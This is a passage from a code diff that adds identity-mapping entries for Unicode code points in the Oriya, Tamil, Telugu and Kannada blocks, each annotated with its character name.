+ ["\u0B1F", "\u0B1F"], /* ORIYA LETTER TTA */
+ ["\u0B20", "\u0B20"], /* ORIYA LETTER TTHA */
+ ["\u0B21", "\u0B21"], /* ORIYA LETTER DDA */
+ ["\u0B22", "\u0B22"], /* ORIYA LETTER DDHA */
+ ["\u0B23", "\u0B23"], /* ORIYA LETTER NNA */
+ ["\u0B24", "\u0B24"], /* ORIYA LETTER TA */
+ ["\u0B25", "\u0B25"], /* ORIYA LETTER THA */
+ ["\u0B26", "\u0B26"], /* ORIYA LETTER DA */
+ ["\u0B27", "\u0B27"], /* ORIYA LETTER DHA */
+ ["\u0B28", "\u0B28"], /* ORIYA LETTER NA */
+ ["\u0B29", "\u0B29"],
+ ["\u0B2A", "\u0B2A"], /* ORIYA LETTER PA */
+ ["\u0B2B", "\u0B2B"], /* ORIYA LETTER PHA */
+ ["\u0B2C", "\u0B2C"], /* ORIYA LETTER BA */
+ ["\u0B2D", "\u0B2D"], /* ORIYA LETTER BHA */
+ ["\u0B2E", "\u0B2E"], /* ORIYA LETTER MA */
+ ["\u0B2F", "\u0B2F"], /* ORIYA LETTER YA */
+ ["\u0B30", "\u0B30"], /* ORIYA LETTER RA */
+ ["\u0B31", "\u0B31"],
+ ["\u0B32", "\u0B32"], /* ORIYA LETTER LA */
+ ["\u0B33", "\u0B33"], /* ORIYA LETTER LLA */
+ ["\u0B34", "\u0B34"],
+ ["\u0B35", "\u0B35"], /* ORIYA LETTER VA */
+ ["\u0B36", "\u0B36"], /* ORIYA LETTER SHA */
+ ["\u0B37", "\u0B37"], /* ORIYA LETTER SSA */
+ ["\u0B38", "\u0B38"], /* ORIYA LETTER SA */
+ ["\u0B39", "\u0B39"], /* ORIYA LETTER HA */
+ ["\u0B3A", "\u0B3A"],
+ ["\u0B3B", "\u0B3B"],
+ ["\u0B3C", "\u0B3C"], /* ORIYA SIGN NUKTA */
+ ["\u0B3D", "\u0B3D"], /* ORIYA SIGN AVAGRAHA */
+ ["\u0B3E", "\u0B3E"], /* ORIYA VOWEL SIGN AA */
+ ["\u0B3F", "\u0B3F"], /* ORIYA VOWEL SIGN I */
+ ["\u0B40", "\u0B40"], /* ORIYA VOWEL SIGN II */
+ ["\u0B41", "\u0B41"], /* ORIYA VOWEL SIGN U */
+ ["\u0B42", "\u0B42"], /* ORIYA VOWEL SIGN UU */
+ ["\u0B43", "\u0B43"], /* ORIYA VOWEL SIGN VOCALIC R */
+ ["\u0B44", "\u0B44"], /* ORIYA VOWEL SIGN VOCALIC RR */
+ ["\u0B45", "\u0B45"],
+ ["\u0B46", "\u0B46"],
+ ["\u0B47", "\u0B47"], /* ORIYA VOWEL SIGN E */
+ ["\u0B48", "\u0B48"], /* ORIYA VOWEL SIGN AI */
+ ["\u0B49", "\u0B49"],
+ ["\u0B4A", "\u0B4A"],
+ ["\u0B4B", "\u0B4B"], /* ORIYA VOWEL SIGN O */
+ ["\u0B4C", "\u0B4C"], /* ORIYA VOWEL SIGN AU */
+ ["\u0B4D", "\u0B4D"], /* ORIYA SIGN VIRAMA */
+ ["\u0B4E", "\u0B4E"],
+ ["\u0B4F", "\u0B4F"],
+ ["\u0B50", "\u0B50"],
+ ["\u0B51", "\u0B51"],
+ ["\u0B52", "\u0B52"],
+ ["\u0B53", "\u0B53"],
+ ["\u0B54", "\u0B54"],
+ ["\u0B55", "\u0B55"], /* ORIYA SIGN OVERLINE */
+ ["\u0B56", "\u0B56"], /* ORIYA AI LENGTH MARK */
+ ["\u0B57", "\u0B57"], /* ORIYA AU LENGTH MARK */
+ ["\u0B58", "\u0B58"],
+ ["\u0B59", "\u0B59"],
+ ["\u0B5A", "\u0B5A"],
+ ["\u0B5B", "\u0B5B"],
+ ["\u0B5C", "\u0B5C"], /* ORIYA LETTER RRA */
+ ["\u0B5D", "\u0B5D"], /* ORIYA LETTER RHA */
+ ["\u0B5E", "\u0B5E"],
+ ["\u0B5F", "\u0B5F"], /* ORIYA LETTER YYA */
+ ["\u0B60", "\u0B60"], /* ORIYA LETTER VOCALIC RR */
+ ["\u0B61", "\u0B61"], /* ORIYA LETTER VOCALIC LL */
+ ["\u0B62", "\u0B62"], /* ORIYA VOWEL SIGN VOCALIC L */
+ ["\u0B63", "\u0B63"], /* ORIYA VOWEL SIGN VOCALIC LL */
+ ["\u0B64", "\u0B64"],
+ ["\u0B65", "\u0B65"],
+ ["\u0B66", "\u0B66"], /* ORIYA DIGIT ZERO */
+ ["\u0B67", "\u0B67"], /* ORIYA DIGIT ONE */
+ ["\u0B68", "\u0B68"], /* ORIYA DIGIT TWO */
+ ["\u0B69", "\u0B69"], /* ORIYA DIGIT THREE */
+ ["\u0B6A", "\u0B6A"], /* ORIYA DIGIT FOUR */
+ ["\u0B6B", "\u0B6B"], /* ORIYA DIGIT FIVE */
+ ["\u0B6C", "\u0B6C"], /* ORIYA DIGIT SIX */
+ ["\u0B6D", "\u0B6D"], /* ORIYA DIGIT SEVEN */
+ ["\u0B6E", "\u0B6E"], /* ORIYA DIGIT EIGHT */
+ ["\u0B6F", "\u0B6F"], /* ORIYA DIGIT NINE */
+ ["\u0B70", "\u0B70"], /* ORIYA ISSHAR */
+ ["\u0B71", "\u0B71"], /* ORIYA LETTER WA */
+ ["\u0B72", "\u0B72"], /* ORIYA FRACTION ONE QUARTER */
+ ["\u0B73", "\u0B73"], /* ORIYA FRACTION ONE HALF */
+ ["\u0B74", "\u0B74"], /* ORIYA FRACTION THREE QUARTERS */
+ ["\u0B75", "\u0B75"], /* ORIYA FRACTION ONE SIXTEENTH */
+ ["\u0B76", "\u0B76"], /* ORIYA FRACTION ONE EIGHTH */
+ ["\u0B77", "\u0B77"], /* ORIYA FRACTION THREE SIXTEENTHS */
+ ["\u0B78", "\u0B78"],
+ ["\u0B79", "\u0B79"],
+ ["\u0B7A", "\u0B7A"],
+ ["\u0B7B", "\u0B7B"],
+ ["\u0B7C", "\u0B7C"],
+ ["\u0B7D", "\u0B7D"],
+ ["\u0B7E", "\u0B7E"],
+ ["\u0B7F", "\u0B7F"],
+ ["\u0B80", "\u0B80"],
+ ["\u0B81", "\u0B81"],
+ ["\u0B82", "\u0B82"], /* TAMIL SIGN ANUSVARA */
+ ["\u0B83", "\u0B83"], /* TAMIL SIGN VISARGA */
+ ["\u0B84", "\u0B84"],
+ ["\u0B85", "\u0B85"], /* TAMIL LETTER A */
+ ["\u0B86", "\u0B86"], /* TAMIL LETTER AA */
+ ["\u0B87", "\u0B87"], /* TAMIL LETTER I */
+ ["\u0B88", "\u0B88"], /* TAMIL LETTER II */
+ ["\u0B89", "\u0B89"], /* TAMIL LETTER U */
+ ["\u0B8A", "\u0B8A"], /* TAMIL LETTER UU */
+ ["\u0B8B", "\u0B8B"],
+ ["\u0B8C", "\u0B8C"],
+ ["\u0B8D", "\u0B8D"],
+ ["\u0B8E", "\u0B8E"], /* TAMIL LETTER E */
+ ["\u0B8F", "\u0B8F"], /* TAMIL LETTER EE */
+ ["\u0B90", "\u0B90"], /* TAMIL LETTER AI */
+ ["\u0B91", "\u0B91"],
+ ["\u0B92", "\u0B92"], /* TAMIL LETTER O */
+ ["\u0B93", "\u0B93"], /* TAMIL LETTER OO */
+ ["\u0B94", "\u0B94"], /* TAMIL LETTER AU */
+ ["\u0B95", "\u0B95"], /* TAMIL LETTER KA */
+ ["\u0B96", "\u0B96"],
+ ["\u0B97", "\u0B97"],
+ ["\u0B98", "\u0B98"],
+ ["\u0B99", "\u0B99"], /* TAMIL LETTER NGA */
+ ["\u0B9A", "\u0B9A"], /* TAMIL LETTER CA */
+ ["\u0B9B", "\u0B9B"],
+ ["\u0B9C", "\u0B9C"], /* TAMIL LETTER JA */
+ ["\u0B9D", "\u0B9D"],
+ ["\u0B9E", "\u0B9E"], /* TAMIL LETTER NYA */
+ ["\u0B9F", "\u0B9F"], /* TAMIL LETTER TTA */
+ ["\u0BA0", "\u0BA0"],
+ ["\u0BA1", "\u0BA1"],
+ ["\u0BA2", "\u0BA2"],
+ ["\u0BA3", "\u0BA3"], /* TAMIL LETTER NNA */
+ ["\u0BA4", "\u0BA4"], /* TAMIL LETTER TA */
+ ["\u0BA5", "\u0BA5"],
+ ["\u0BA6", "\u0BA6"],
+ ["\u0BA7", "\u0BA7"],
+ ["\u0BA8", "\u0BA8"], /* TAMIL LETTER NA */
+ ["\u0BA9", "\u0BA9"], /* TAMIL LETTER NNNA */
+ ["\u0BAA", "\u0BAA"], /* TAMIL LETTER PA */
+ ["\u0BAB", "\u0BAB"],
+ ["\u0BAC", "\u0BAC"],
+ ["\u0BAD", "\u0BAD"],
+ ["\u0BAE", "\u0BAE"], /* TAMIL LETTER MA */
+ ["\u0BAF", "\u0BAF"], /* TAMIL LETTER YA */
+ ["\u0BB0", "\u0BB0"], /* TAMIL LETTER RA */
+ ["\u0BB1", "\u0BB1"], /* TAMIL LETTER RRA */
+ ["\u0BB2", "\u0BB2"], /* TAMIL LETTER LA */
+ ["\u0BB3", "\u0BB3"], /* TAMIL LETTER LLA */
+ ["\u0BB4", "\u0BB4"], /* TAMIL LETTER LLLA */
+ ["\u0BB5", "\u0BB5"], /* TAMIL LETTER VA */
+ ["\u0BB6", "\u0BB6"], /* TAMIL LETTER SHA */
+ ["\u0BB7", "\u0BB7"], /* TAMIL LETTER SSA */
+ ["\u0BB8", "\u0BB8"], /* TAMIL LETTER SA */
+ ["\u0BB9", "\u0BB9"], /* TAMIL LETTER HA */
+ ["\u0BBA", "\u0BBA"],
+ ["\u0BBB", "\u0BBB"],
+ ["\u0BBC", "\u0BBC"],
+ ["\u0BBD", "\u0BBD"],
+ ["\u0BBE", "\u0BBE"], /* TAMIL VOWEL SIGN AA */
+ ["\u0BBF", "\u0BBF"], /* TAMIL VOWEL SIGN I */
+ ["\u0BC0", "\u0BC0"], /* TAMIL VOWEL SIGN II */
+ ["\u0BC1", "\u0BC1"], /* TAMIL VOWEL SIGN U */
+ ["\u0BC2", "\u0BC2"], /* TAMIL VOWEL SIGN UU */
+ ["\u0BC3", "\u0BC3"],
+ ["\u0BC4", "\u0BC4"],
+ ["\u0BC5", "\u0BC5"],
+ ["\u0BC6", "\u0BC6"], /* TAMIL VOWEL SIGN E */
+ ["\u0BC7", "\u0BC7"], /* TAMIL VOWEL SIGN EE */
+ ["\u0BC8", "\u0BC8"], /* TAMIL VOWEL SIGN AI */
+ ["\u0BC9", "\u0BC9"],
+ ["\u0BCA", "\u0BCA"], /* TAMIL VOWEL SIGN O */
+ ["\u0BCB", "\u0BCB"], /* TAMIL VOWEL SIGN OO */
+ ["\u0BCC", "\u0BCC"], /* TAMIL VOWEL SIGN AU */
+ ["\u0BCD", "\u0BCD"], /* TAMIL SIGN VIRAMA */
+ ["\u0BCE", "\u0BCE"],
+ ["\u0BCF", "\u0BCF"],
+ ["\u0BD0", "\u0BD0"], /* TAMIL OM */
+ ["\u0BD1", "\u0BD1"],
+ ["\u0BD2", "\u0BD2"],
+ ["\u0BD3", "\u0BD3"],
+ ["\u0BD4", "\u0BD4"],
+ ["\u0BD5", "\u0BD5"],
+ ["\u0BD6", "\u0BD6"],
+ ["\u0BD7", "\u0BD7"], /* TAMIL AU LENGTH MARK */
+ ["\u0BD8", "\u0BD8"],
+ ["\u0BD9", "\u0BD9"],
+ ["\u0BDA", "\u0BDA"],
+ ["\u0BDB", "\u0BDB"],
+ ["\u0BDC", "\u0BDC"],
+ ["\u0BDD", "\u0BDD"],
+ ["\u0BDE", "\u0BDE"],
+ ["\u0BDF", "\u0BDF"],
+ ["\u0BE0", "\u0BE0"],
+ ["\u0BE1", "\u0BE1"],
+ ["\u0BE2", "\u0BE2"],
+ ["\u0BE3", "\u0BE3"],
+ ["\u0BE4", "\u0BE4"],
+ ["\u0BE5", "\u0BE5"],
+ ["\u0BE6", "\u0BE6"], /* TAMIL DIGIT ZERO */
+ ["\u0BE7", "\u0BE7"], /* TAMIL DIGIT ONE */
+ ["\u0BE8", "\u0BE8"], /* TAMIL DIGIT TWO */
+ ["\u0BE9", "\u0BE9"], /* TAMIL DIGIT THREE */
+ ["\u0BEA", "\u0BEA"], /* TAMIL DIGIT FOUR */
+ ["\u0BEB", "\u0BEB"], /* TAMIL DIGIT FIVE */
+ ["\u0BEC", "\u0BEC"], /* TAMIL DIGIT SIX */
+ ["\u0BED", "\u0BED"], /* TAMIL DIGIT SEVEN */
+ ["\u0BEE", "\u0BEE"], /* TAMIL DIGIT EIGHT */
+ ["\u0BEF", "\u0BEF"], /* TAMIL DIGIT NINE */
+ ["\u0BF0", "\u0BF0"], /* TAMIL NUMBER TEN */
+ ["\u0BF1", "\u0BF1"], /* TAMIL NUMBER ONE HUNDRED */
+ ["\u0BF2", "\u0BF2"], /* TAMIL NUMBER ONE THOUSAND */
+ ["\u0BF3", "\u0BF3"], /* TAMIL DAY SIGN */
+ ["\u0BF4", "\u0BF4"], /* TAMIL MONTH SIGN */
+ ["\u0BF5", "\u0BF5"], /* TAMIL YEAR SIGN */
+ ["\u0BF6", "\u0BF6"], /* TAMIL DEBIT SIGN */
+ ["\u0BF7", "\u0BF7"], /* TAMIL CREDIT SIGN */
+ ["\u0BF8", "\u0BF8"], /* TAMIL AS ABOVE SIGN */
+ ["\u0BF9", "\u0BF9"], /* TAMIL RUPEE SIGN */
+ ["\u0BFA", "\u0BFA"], /* TAMIL NUMBER SIGN */
+ ["\u0BFB", "\u0BFB"],
+ ["\u0BFC", "\u0BFC"],
+ ["\u0BFD", "\u0BFD"],
+ ["\u0BFE", "\u0BFE"],
+ ["\u0BFF", "\u0BFF"],
+ ["\u0C00", "\u0C00"], /* TELUGU SIGN COMBINING CANDRABINDU ABOVE */
+ ["\u0C01", "\u0C01"], /* TELUGU SIGN CANDRABINDU */
+ ["\u0C02", "\u0C02"], /* TELUGU SIGN ANUSVARA */
+ ["\u0C03", "\u0C03"], /* TELUGU SIGN VISARGA */
+ ["\u0C04", "\u0C04"], /* TELUGU SIGN COMBINING ANUSVARA ABOVE */
+ ["\u0C05", "\u0C05"], /* TELUGU LETTER A */
+ ["\u0C06", "\u0C06"], /* TELUGU LETTER AA */
+ ["\u0C07", "\u0C07"], /* TELUGU LETTER I */
+ ["\u0C08", "\u0C08"], /* TELUGU LETTER II */
+ ["\u0C09", "\u0C09"], /* TELUGU LETTER U */
+ ["\u0C0A", "\u0C0A"], /* TELUGU LETTER UU */
+ ["\u0C0B", "\u0C0B"], /* TELUGU LETTER VOCALIC R */
+ ["\u0C0C", "\u0C0C"], /* TELUGU LETTER VOCALIC L */
+ ["\u0C0D", "\u0C0D"],
+ ["\u0C0E", "\u0C0E"], /* TELUGU LETTER E */
+ ["\u0C0F", "\u0C0F"], /* TELUGU LETTER EE */
+ ["\u0C10", "\u0C10"], /* TELUGU LETTER AI */
+ ["\u0C11", "\u0C11"],
+ ["\u0C12", "\u0C12"], /* TELUGU LETTER O */
+ ["\u0C13", "\u0C13"], /* TELUGU LETTER OO */
+ ["\u0C14", "\u0C14"], /* TELUGU LETTER AU */
+ ["\u0C15", "\u0C15"], /* TELUGU LETTER KA */
+ ["\u0C16", "\u0C16"], /* TELUGU LETTER KHA */
+ ["\u0C17", "\u0C17"], /* TELUGU LETTER GA */
+ ["\u0C18", "\u0C18"], /* TELUGU LETTER GHA */
+ ["\u0C19", "\u0C19"], /* TELUGU LETTER NGA */
+ ["\u0C1A", "\u0C1A"], /* TELUGU LETTER CA */
+ ["\u0C1B", "\u0C1B"], /* TELUGU LETTER CHA */
+ ["\u0C1C", "\u0C1C"], /* TELUGU LETTER JA */
+ ["\u0C1D", "\u0C1D"], /* TELUGU LETTER JHA */
+ ["\u0C1E", "\u0C1E"], /* TELUGU LETTER NYA */
+ ["\u0C1F", "\u0C1F"], /* TELUGU LETTER TTA */
+ ["\u0C20", "\u0C20"], /* TELUGU LETTER TTHA */
+ ["\u0C21", "\u0C21"], /* TELUGU LETTER DDA */
+ ["\u0C22", "\u0C22"], /* TELUGU LETTER DDHA */
+ ["\u0C23", "\u0C23"], /* TELUGU LETTER NNA */
+ ["\u0C24", "\u0C24"], /* TELUGU LETTER TA */
+ ["\u0C25", "\u0C25"], /* TELUGU LETTER THA */
+ ["\u0C26", "\u0C26"], /* TELUGU LETTER DA */
+ ["\u0C27", "\u0C27"], /* TELUGU LETTER DHA */
+ ["\u0C28", "\u0C28"], /* TELUGU LETTER NA */
+ ["\u0C29", "\u0C29"],
+ ["\u0C2A", "\u0C2A"], /* TELUGU LETTER PA */
+ ["\u0C2B", "\u0C2B"], /* TELUGU LETTER PHA */
+ ["\u0C2C", "\u0C2C"], /* TELUGU LETTER BA */
+ ["\u0C2D", "\u0C2D"], /* TELUGU LETTER BHA */
+ ["\u0C2E", "\u0C2E"], /* TELUGU LETTER MA */
+ ["\u0C2F", "\u0C2F"], /* TELUGU LETTER YA */
+ ["\u0C30", "\u0C30"], /* TELUGU LETTER RA */
+ ["\u0C31", "\u0C31"], /* TELUGU LETTER RRA */
+ ["\u0C32", "\u0C32"], /* TELUGU LETTER LA */
+ ["\u0C33", "\u0C33"], /* TELUGU LETTER LLA */
+ ["\u0C34", "\u0C34"], /* TELUGU LETTER LLLA */
+ ["\u0C35", "\u0C35"], /* TELUGU LETTER VA */
+ ["\u0C36", "\u0C36"], /* TELUGU LETTER SHA */
+ ["\u0C37", "\u0C37"], /* TELUGU LETTER SSA */
+ ["\u0C38", "\u0C38"], /* TELUGU LETTER SA */
+ ["\u0C39", "\u0C39"], /* TELUGU LETTER HA */
+ ["\u0C3A", "\u0C3A"],
+ ["\u0C3B", "\u0C3B"],
+ ["\u0C3C", "\u0C3C"], /* TELUGU SIGN NUKTA */
+ ["\u0C3D", "\u0C3D"], /* TELUGU SIGN AVAGRAHA */
+ ["\u0C3E", "\u0C3E"], /* TELUGU VOWEL SIGN AA */
+ ["\u0C3F", "\u0C3F"], /* TELUGU VOWEL SIGN I */
+ ["\u0C40", "\u0C40"], /* TELUGU VOWEL SIGN II */
+ ["\u0C41", "\u0C41"], /* TELUGU VOWEL SIGN U */
+ ["\u0C42", "\u0C42"], /* TELUGU VOWEL SIGN UU */
+ ["\u0C43", "\u0C43"], /* TELUGU VOWEL SIGN VOCALIC R */
+ ["\u0C44", "\u0C44"], /* TELUGU VOWEL SIGN VOCALIC RR */
+ ["\u0C45", "\u0C45"],
+ ["\u0C46", "\u0C46"], /* TELUGU VOWEL SIGN E */
+ ["\u0C47", "\u0C47"], /* TELUGU VOWEL SIGN EE */
+ ["\u0C48", "\u0C48"], /* TELUGU VOWEL SIGN AI */
+ ["\u0C49", "\u0C49"],
+ ["\u0C4A", "\u0C4A"], /* TELUGU VOWEL SIGN O */
+ ["\u0C4B", "\u0C4B"], /* TELUGU VOWEL SIGN OO */
+ ["\u0C4C", "\u0C4C"], /* TELUGU VOWEL SIGN AU */
+ ["\u0C4D", "\u0C4D"], /* TELUGU SIGN VIRAMA */
+ ["\u0C4E", "\u0C4E"],
+ ["\u0C4F", "\u0C4F"],
+ ["\u0C50", "\u0C50"],
+ ["\u0C51", "\u0C51"],
+ ["\u0C52", "\u0C52"],
+ ["\u0C53", "\u0C53"],
+ ["\u0C54", "\u0C54"],
+ ["\u0C55", "\u0C55"], /* TELUGU LENGTH MARK */
+ ["\u0C56", "\u0C56"], /* TELUGU AI LENGTH MARK */
+ ["\u0C57", "\u0C57"],
+ ["\u0C58", "\u0C58"], /* TELUGU LETTER TSA */
+ ["\u0C59", "\u0C59"], /* TELUGU LETTER DZA */
+ ["\u0C5A", "\u0C5A"], /* TELUGU LETTER RRRA */
+ ["\u0C5B", "\u0C5B"],
+ ["\u0C5C", "\u0C5C"],
+ ["\u0C5D", "\u0C5D"], /* TELUGU LETTER NAKAARA POLLU */
+ ["\u0C5E", "\u0C5E"],
+ ["\u0C5F", "\u0C5F"],
+ ["\u0C60", "\u0C60"], /* TELUGU LETTER VOCALIC RR */
+ ["\u0C61", "\u0C61"], /* TELUGU LETTER VOCALIC LL */
+ ["\u0C62", "\u0C62"], /* TELUGU VOWEL SIGN VOCALIC L */
+ ["\u0C63", "\u0C63"], /* TELUGU VOWEL SIGN VOCALIC LL */
+ ["\u0C64", "\u0C64"],
+ ["\u0C65", "\u0C65"],
+ ["\u0C66", "\u0C66"], /* TELUGU DIGIT ZERO */
+ ["\u0C67", "\u0C67"], /* TELUGU DIGIT ONE */
+ ["\u0C68", "\u0C68"], /* TELUGU DIGIT TWO */
+ ["\u0C69", "\u0C69"], /* TELUGU DIGIT THREE */
+ ["\u0C6A", "\u0C6A"], /* TELUGU DIGIT FOUR */
+ ["\u0C6B", "\u0C6B"], /* TELUGU DIGIT FIVE */
+ ["\u0C6C", "\u0C6C"], /* TELUGU DIGIT SIX */
+ ["\u0C6D", "\u0C6D"], /* TELUGU DIGIT SEVEN */
+ ["\u0C6E", "\u0C6E"], /* TELUGU DIGIT EIGHT */
+ ["\u0C6F", "\u0C6F"], /* TELUGU DIGIT NINE */
+ ["\u0C70", "\u0C70"],
+ ["\u0C71", "\u0C71"],
+ ["\u0C72", "\u0C72"],
+ ["\u0C73", "\u0C73"],
+ ["\u0C74", "\u0C74"],
+ ["\u0C75", "\u0C75"],
+ ["\u0C76", "\u0C76"],
+ ["\u0C77", "\u0C77"], /* TELUGU SIGN SIDDHAM */
+ ["\u0C78", "\u0C78"], /* TELUGU FRACTION DIGIT ZERO FOR ODD POWERS OF FOUR */
+ ["\u0C79", "\u0C79"], /* TELUGU FRACTION DIGIT ONE FOR ODD POWERS OF FOUR */
+ ["\u0C7A", "\u0C7A"], /* TELUGU FRACTION DIGIT TWO FOR ODD POWERS OF FOUR */
+ ["\u0C7B", "\u0C7B"], /* TELUGU FRACTION DIGIT THREE FOR ODD POWERS OF FOUR */
+ ["\u0C7C", "\u0C7C"], /* TELUGU FRACTION DIGIT ONE FOR EVEN POWERS OF FOUR */
+ ["\u0C7D", "\u0C7D"], /* TELUGU FRACTION DIGIT TWO FOR EVEN POWERS OF FOUR */
+ ["\u0C7E", "\u0C7E"], /* TELUGU FRACTION DIGIT THREE FOR EVEN POWERS OF FOUR */
+ ["\u0C7F", "\u0C7F"], /* TELUGU SIGN TUUMU */
+ ["\u0C80", "\u0C80"], /* KANNADA SIGN SPACING CANDRABINDU */
+ ["\u0C81", "\u0C81"], /* KANNADA SIGN CANDRABINDU */
+ ["\u0C82", "\u0C82"], /* KANNADA SIGN ANUSVARA */
+ ["\u0C83", "\u0C83"], /* KANNADA SIGN VISARGA */
+ ["\u0C84", "\u0C84"], /* KANNADA SIGN SIDDHAM */
+ ["\u0C85", "\u0C85"], /* KANNADA LETTER A */
+ ["\u0C86", "\u0C86"], /* KANNADA LETTER AA */
+ ["\u0C87", "\u0C87"], /* KANNADA LETTER I */
+ ["\u0C88", "\u0C88"], /* KANNADA LETTER II */
+ ["\u0C89", "\u0C89"], /* KANNADA LETTER U */
+ ["\u0C8A", "\u0C8A"], /* KANNADA LETTER UU */
+ ["\u0C8B", "\u0C8B"], /* KANNADA LETTER VOCALIC R */
+ ["\u0C8C", "\u0C8C"], /* KANNADA LETTER VOCALIC L */
+ ["\u0C8D", "\u0C8D"],
+ ["\u0C8E", "\u0C8E"], /* KANNADA LETTER E */
+ ["\u0C8F", "\u0C8F"], /* KANNADA LETTER EE */
+ ["\u0C90", "\u0C90"], /* KANNADA LETTER AI */
+ ["\u0C91", "\u0C91"],
+ ["\u0C92", "\u0C92"], /* KANNADA LETTER O */
+ ["\u0C93", "\u0C93"], /* KANNADA LETTER OO */
+ ["\u0C94", "\u0C94"], /* KANNADA LETTER AU */
+ ["\u0C95", "\u0C95"], /* KANNADA LETTER KA */
+ ["\u0C96", "\u0C96"], /* KANNADA LETTER KHA */
+ ["\u0C97", "\u0C97"], /* KANNADA LETTER GA */
+ ["\u0C98", "\u0C98"], /* KANNADA LETTER GHA */
+ ["\u0C99", "\u0C99"], /* KANNADA LETTER NGA */
+ ["\u0C9A", "\u0C9A"], /* KANNADA LETTER CA */
+ ["\u0C9B", "\u0C9B"], /* KANNADA LETTER CHA */
+ ["\u0C9C", "\u0C9C"], /* KANNADA LETTER JA */
+ ["\u0C9D", "\u0C9D"], /* KANNADA LETTER JHA */
+ ["\u0C9E", "\u0C9E"], /* KANNADA LETTER NYA */
+ ["\u0C9F", "\u0C9F"], /* KANNADA LETTER TTA */
+ ["\u0CA0", "\u0CA0"], /* KANNADA LETTER TTHA */
+ ["\u0CA1", "\u0CA1"], /* KANNADA LETTER DDA */
+ ["\u0CA2", "\u0CA2"], /* KANNADA LETTER DDHA */
+ ["\u0CA3", "\u0CA3"], /* KANNADA LETTER NNA */
+ ["\u0CA4", "\u0CA4"], /* KANNADA LETTER TA */
+ ["\u0CA5", "\u0CA5"], /* KANNADA LETTER THA */
+ ["\u0CA6", "\u0CA6"], /* KANNADA LETTER DA */
+ ["\u0CA7", "\u0CA7"], /* KANNADA LETTER DHA */
+ ["\u0CA8", "\u0CA8"], /* KANNADA LETTER NA */
+ ["\u0CA9", "\u0CA9"],
+ ["\u0CAA", "\u0CAA"], /* KANNADA LETTER PA */
+ ["\u0CAB", "\u0CAB"], /* KANNADA LETTER PHA */
+ ["\u0CAC", "\u0CAC"], /* KANNADA LETTER BA */
+ ["\u0CAD", "\u0CAD"], /* KANNADA LETTER BHA */
+ ["\u0CAE", "\u0CAE"], /* KANNADA LETTER MA */
+ ["\u0CAF", "\u0CAF"], /* KANNADA LETTER YA */
+ ["\u0CB0", "\u0CB0"], /* KANNADA LETTER RA */
+ ["\u0CB1", "\u0CB1"], /* KANNADA LETTER RRA */
+ ["\u0CB2", "\u0CB2"], /* KANNADA LETTER LA */
+ ["\u0CB3", "\u0CB3"], /* KANNADA LETTER LLA */
+ ["\u0CB4", "\u0CB4"],
+ ["\u0CB5", "\u0CB5"], /* KANNADA LETTER VA */
+ ["\u0CB6", "\u0CB6"], /* KANNADA LETTER SHA */
+ ["\u0CB7", "\u0CB7"], /* KANNADA LETTER SSA */
+ ["\u0CB8", "\u0CB8"], /* KANNADA LETTER SA */
+ ["\u0CB9", "\u0CB9"], /* KANNADA LETTER HA */
+ ["\u0CBA", "\u0CBA"],
+ ["\u0CBB", "\u0CBB"],
+ ["\u0CBC", "\u0CBC"], /* KANNADA SIGN NUKTA */
+ ["\u0CBD", "\u0CBD"], /* KANNADA SIGN AVAGRAHA */
+ ["\u0CBE", "\u0CBE"], /* KANNADA VOWEL SIGN AA */
+ ["\u0CBF", "\u0CBF"], /* KANNADA VOWEL SIGN I */
+ ["\u0CC0", "\u0CC0"], /* KANNADA VOWEL SIGN II */
+ ["\u0CC1", "\u0CC1"], /* KANNADA VOWEL SIGN U */
+ ["\u0CC2", "\u0CC2"], /* KANNADA VOWEL SIGN UU */
+ ["\u0CC3", "\u0CC3"], /* KANNADA VOWEL SIGN VOCALIC R */
+ ["\u0CC4", "\u0CC4"], /* KANNADA VOWEL SIGN VOCALIC RR */
+ ["\u0CC5", "\u0CC5"],
+ ["\u0CC6", "\u0CC6"], /* KANNADA VOWEL SIGN E */
+ ["\u0CC7", "\u0CC7"], /* KANNADA VOWEL SIGN EE */
+ ["\u0CC8", "\u0CC8"], /* KANNADA VOWEL SIGN AI */
+ ["\u0CC9", "\u0CC9"],
+ ["\u0CCA", "\u0CCA"], /* KANNADA VOWEL SIGN O */
+ ["\u0CCB", "\u0CCB"], /* KANNADA VOWEL SIGN OO */
+ ["\u0CCC", "\u0CCC"], /* KANNADA VOWEL SIGN AU */
+ ["\u0CCD", "\u0CCD"], /* KANNADA SIGN VIRAMA */
+ ["\u0CCE", "\u0CCE"],
+ ["\u0CCF", "\u0CCF"],
+ ["\u0CD0", "\u0CD0"],
+ ["\u0CD1", "\u0CD1"],
+ ["\u0CD2", "\u0CD2"],
+ ["\u0CD3", "\u0CD3"],
+ ["\u0CD4", "\u0CD4"],
+ ["\u0CD5", "\u0CD5"], /* KANNADA LENGTH MARK */
+ ["\u0CD6", "\u0CD6"], /* KANNADA AI LENGTH MARK */
+ ["\u0CD7", "\u0CD7"],
+ ["\u0CD8", "\u0CD8"],
+ ["\u0CD9", "\u0CD9"],
+ ["\u0CDA", "\u0CDA"],
+ ["\u0CDB", "\u0CDB"],
+ ["\u0CDC", "\u0CDC"],
+ ["\u0CDD", "\u0CDD"], /* KANNADA LETTER NAKAARA POLLU */
+ ["\u0CDE", "\u0CDE"], /* KANNADA LETTER FA */
+ ["\u0CDF", "\u0CDF"],
+ ["\u0CE0", "\u0CE0"], /* KANNADA LETTER VOCALIC RR */
+ ["\u0CE1", "\u0CE1"], /* KANNADA LETTER VOCALIC LL */
+ ["\u0CE2", "\u0CE2"], /* KANNADA VOWEL SIGN VOCALIC L */
+ ["\u0CE3", "\u0CE3"], /* KANNADA VOWEL SIGN VOCALIC LL */
+ ["\u0CE4", "\u0CE4"],
+ ["\u0CE5", "\u0CE5"],
+ ["\u0CE6", "\u0CE6"], /* KANNADA DIGIT ZERO */
+ ["\u0CE7", "\u0CE7"], /* KANNADA DIGIT ONE */
+ ["\u0CE8", "\u0CE8"], /* KANNADA DIGIT TWO */
+ ["\u0CE9", "\u0CE9"], /* KANNADA DIGIT THREE */
+ ["\u0CEA", "\u0CEA"], /* KANNADA DIGIT FOUR */
+ ["\u0CEB", "\u0CEB"], /* KANNADA DIGIT FIVE */
+ ["\u0CEC", "\u0CEC"], /* KANNADA DIGIT SIX */
+ ["\u0CED", "\u0CED"], /* KANNADA DIGIT SEVEN */
+ ["\u0CEE", "\u0CEE"], /* KANNADA DIGIT EIGHT */
+ ["\u0CEF", "\u0CEF"], /* KANNADA DIGIT NINE */
+ ["\u0CF0", "\u0CF0"],
+ ["\u0CF1", "\u0CF1"], /* KANNADA SIGN JIHVAMULIYA */
